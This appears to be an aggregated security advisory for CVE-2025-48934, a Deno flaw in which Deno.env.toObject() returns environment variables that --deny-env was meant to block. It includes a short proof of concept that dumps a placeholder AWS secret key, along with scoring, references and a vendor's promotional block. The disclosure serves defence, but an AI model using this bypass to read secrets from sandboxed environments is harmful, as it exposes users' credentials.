🛡️ CVE-2025-48934 — deno
Description
Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables
Summary
The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the --deny-env option of the deno run command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the --deny-env option this might lead to a false impression that variables listed in the option are impossible to read.
PoC
```
export AWS_SECRET_ACCESS_KEY=my-secret-aws-key
# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
```
The first example using get exits with the following error:
```
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
^
at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
at file:///$deno$stdin.mts:1:22
```
The second example using toObject prints all environment variables:
```
[Object: null prototype] {
...
AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
...
}
```
Impact
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality low, integrity low, availability none.
Affected software
CVE-2025-48934 is recorded against 2 packages.
- deno
- deno-runtime
Timeline and source
Published on 4 June 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)
docs.deno.com (Web)
docs.deno.com (Web)
github.com (Package)
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| deno | — | — |
| deno-runtime | — | — |
References
Similar Threats
- Unknown CGA-74hg-j64j-pgrr
- Unknown CGA-3m4q-6rqr-jxrw
- Unknown CGA-8ww7-68g5-5224
- Unknown CGA-4cq4-55wr-cwx5
- Unknown CGA-37h6-gm7x-242m
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Exploit Protection
Are you running deno?
CVE-2025-48934 carries CVSS 5.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2025-48934 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.